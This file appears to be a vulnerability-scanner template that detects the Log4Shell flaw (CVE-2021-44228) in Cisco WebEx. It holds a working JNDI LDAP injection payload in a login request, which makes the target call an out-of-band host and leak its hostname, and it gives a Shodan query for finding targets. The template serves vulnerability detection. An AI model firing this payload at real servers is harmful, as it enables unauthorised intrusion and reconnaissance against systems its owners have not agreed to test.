cisco-webex-log4j-rce: Cisco WebEx - Remote Code Execution (Apache Log4j)

id: cisco-webex-log4j-rce

info:
  name: Cisco WebEx - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Cisco WebEx is susceptible to Log4j JNDI remote code execution. Cisco WebEx provides web conferencing, videoconferencing and contact center as a service applications.
  reference:
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:cisco:webex_meetings_online:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Cisco WebEx"
    product: webex_meetings_online
    vendor: cisco
  tags: cve,cve2021,rce,jndi,log4j,cisco,webex,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /orion/login?siteurl=meet HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/orion/login?siteurl=meet&rnd=0.1359184728177283
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded

        type=getFailureTimes&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&bAjax=true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 4a0a0047304502210088e588caffd56892c09cb85004a73c26ee848a6861639149716dfa59588c125f0220307767dfb4238df82c5ba9ce1b836e808b3acdc54fad353f1602ca6ee5cdbc50:922c64590222798bb761d5b6d8e72950